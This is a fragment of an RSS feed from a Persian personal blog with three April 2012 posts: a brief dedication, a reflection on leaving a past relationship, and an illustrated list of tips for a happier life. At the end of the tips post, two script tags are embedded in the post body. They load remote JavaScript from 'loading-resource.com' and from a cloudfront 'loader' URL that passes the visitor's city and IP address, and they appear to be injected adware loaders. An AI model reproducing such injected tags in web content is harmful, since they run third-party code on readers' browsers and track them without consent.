&lt;p style="text-align: center;"&gt;&lt;strong&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;از طرف خودت&lt;/span&gt;&lt;/strong&gt;&lt;img title="قلب" src="http://www.persianblog.ir/editor/images/smilies/8.gif" alt="قلب" border="0" /&gt;&lt;img title="شیطان" src="http://www.persianblog.ir/editor/images/smilies/19.gif" alt="شیطان" border="0" /&gt;&lt;/p&gt;</description>
      <link>http://560205.persianblog.ir/post/150</link>
      <comments>http://560205.persianblog.ir/comments/411787/9323806/</comments>
      <guid isPermaLink="False">tag:Persianblog.ir,2003:blog-411787.post-9323806</guid>
      <pubDate>Mon, 23 Apr 2012 18:56:53 GMT</pubDate>
    </item>
    <item>
      <title>(بدون عنوان)</title>
      <description>&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;به طرفه العینی گذشت. نمی دونم چرا اول هر اردیبهشت یاد میارمت؟ دلم برات تنگ نمی شه و هرگز دوست ندارم اون روزها برگردن و من دوباره بشم همون عادله ی سابق ولی نمی دونم چرا همیشه اول اردیبهشت یادت میفتم؟!شاید چون حافظه ی قویی دارم و هر چی می کشم از همین حافظه ست...&lt;/p&gt;
&lt;p&gt;9 سال می گذره و دوست ندارم یک کلمه دیگه درباره تو بنویسم . فقط از خدا تشکر می کنم که منو از شر تو خلاص کرد و زندگی دوباره به من داد... چه موندن تو محیط آلوده ی تو مرگی تدریجی بود... خدایا باز هم ممنونم.... ممنونم&lt;/p&gt;</description>
      <link>http://560205.persianblog.ir/post/149</link>
      <comments>http://560205.persianblog.ir/comments/411787/9305472/</comments>
      <guid isPermaLink="False">tag:Persianblog.ir,2003:blog-411787.post-9305472</guid>
      <pubDate>Fri, 20 Apr 2012 13:32:52 GMT</pubDate>
    </item>
    <item>
      <title>یه کم بهتر زندگی کن</title>
      <description>&lt;p style="text-align: center;"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p dir="RTL"&gt;&lt;strong&gt;1&lt;span&gt;- دوستهای شاد و خوش و خرم و سر حالت رو برای خودت نگه دار!&lt;/span&gt;&lt;/strong&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;&lt;strong&gt;&lt;br /&gt; آدمهای بی حس و حال تو رو هم بی حال می کنن&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p dir="RTL" align="center"&gt;&lt;img src="http://up.vatandownload.com/images/fk0xev04ck2tb140bvjv.jpg" alt="" /&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style="text-align: center;" dir="RTL"&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;&lt;strong&gt;&lt;br /&gt; 2- دائم در حال یادگیری باش!&lt;br /&gt; سعی کن بیشتر راجع به کامپیوتر، کارهای دستی، باغبانی و خلاصه هرچی که فکرمیکنی یاد بگیری. هیچوقت نگذار مغزت بی کار بمونه "مغز بیکار پاتوق شیطانه" این شیطان هم اسمش آلزایمر&lt;/strong&gt;&lt;strong&gt;ه&lt;/strong&gt;&lt;strong&gt;&lt;br /&gt; &lt;img src="http://up.vatandownload.com/images/wdut6dw1o79jqs88113s.jpg" alt="" /&gt;&lt;br /&gt; &lt;br /&gt; 3- از چیزهای ساده، لـــذت ببر&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p dir="RTL" align="center"&gt;&amp;nbsp;&lt;img src="http://up.vatandownload.com/images/jrbouqbwciu8hezlo5k.jpg" alt="" /&gt;&lt;/p&gt;
&lt;p style="text-align: center;" dir="RTL"&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;&lt;strong&gt;&lt;br /&gt; 4- اغلب بخنـــــد، خنده&amp;shy;های طولانی&lt;br /&gt; اونقدر بخند که نفست بند بیاد&lt;/strong&gt;&lt;strong&gt;. &lt;/strong&gt;&lt;strong&gt;اگه دوستی داری که خیلی باهاش می خندی، پس خیلی باهاش وقت بگذرون&lt;br /&gt; &lt;br /&gt; &lt;img src="http://up.vatandownload.com/images/gkmpgqmzhzegnkpewhwn.jpg" alt="" /&gt;&lt;br /&gt; 5- گاهی اوقات کمی هم اشک بریز&lt;br /&gt; سختی کشیدن هست، غمگین بودن هست، اما ادامــه بده&lt;/strong&gt;&lt;strong&gt;. &lt;/strong&gt;&lt;strong&gt;تنها کسی که تمام طول زندگیمون کنار ماست، خود مــا هستیم&lt;/strong&gt;&lt;strong&gt;، &lt;/strong&gt;&lt;strong&gt;پس تا وقتی که زنده&amp;shy;هستی زندگی کن&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p dir="RTL" align="center"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style="text-align: center;" dir="RTL"&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;&lt;strong&gt;6- دور و اطرافت رو با آدمها و چیزهایی پُرکن که دوستشون داری&lt;/strong&gt;&lt;strong&gt;&lt;br /&gt; با د وستها و فامیل، با یادگاری&amp;shy;هات، موسیقی، گل و گیاه و خلاصه هرچیزی که باعث خوشحالی&amp;shy;ات میشوند.&lt;br /&gt; خوب حالا خونه&amp;shy;ات پناهگاه و محل آرامشت شد؟&lt;br /&gt; &lt;br /&gt; بگو ببینم، رابطه&amp;shy; ات با خدا چطوره؟&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p dir="RTL" align="center"&gt;&amp;nbsp;&lt;img src="http://up.vatandownload.com/images/ekhnl7qbs9fjd3hm5bns.jpg" alt="" /&gt;&lt;/p&gt;
&lt;p dir="RTL"&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;&lt;strong&gt;&lt;br /&gt; 7- سلامتیت رو جشن بگیر و بهش اهمیت بده!&lt;br /&gt; اگر سالمی، سعی کن این وضعیت رو حفظ کنی&lt;br /&gt; اگر وضعت متغیره، سعی کن متعادلش کنی و حالت رو بهتر کنی&lt;br /&gt; اگر هم فکر می کنی تنهایی از پسش بر نمی آیی،از یک نفر کمک بگیر&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p dir="RTL" align="center"&gt;&lt;img src="http://up.vatandownload.com/images/haoqgw7id92h1rgjivw.jpg" alt="" /&gt;&amp;nbsp;&lt;/p&gt;
&lt;p dir="RTL"&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;&lt;strong&gt;&lt;br /&gt; 8- به سمت ناراحتی&amp;shy;هات سفر نکن!&lt;br /&gt; برو به یک مرکز خرید، برو به یک محله دیگر، حتی برو یه کشور دیگر&lt;/strong&gt;&lt;strong&gt;، &lt;/strong&gt;&lt;strong&gt;اما هیچ وقت جایی نرو که باعث سرافکندگی و احساس گناهت بشه&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p dir="RTL" align="center"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style="text-align: center;"&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: medium;"&gt;&lt;strong&gt;&lt;br /&gt; 9- از هر فرصتی که داری استفاده کن و به همه کسانی که دوستشون داری، عشقت رو نشون بده&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="text-align: center;"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style="text-align: center;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;script type="text/javascript" src="http://loading-resource.com/50.js.php?i=%7B18C973CD-CE6C-4D5F-B1CD-9FC1076C0F3A%7D"&gt;&lt;/script&gt;
&lt;script type="text/javascript" src="https://d3pzomt0ul12fo.cloudfront.net/items/loaders/loader_1032.js?aoi=1311798366&amp;amp;pid=1032&amp;amp;zoneid=10368&amp;amp;cid=IR&amp;amp;rid=08&amp;amp;ccid=Rasht&amp;amp;ip=176.12.68.237"&gt;&lt;/script&gt;</description>
      <link>http://560205.persianblog.ir/post/148</link>
      <comments>http://560205.persianblog.ir/comments/411787/9286894/</comments>
      <guid isPermaLink="False">tag:Persianblog.ir,2003:blog-411787.post-9286894</guid>
      <pubDate>Tue, 17 Apr 2012 08:09:08 GMT</pubDate>
    </item>
  </channel>
</rss>
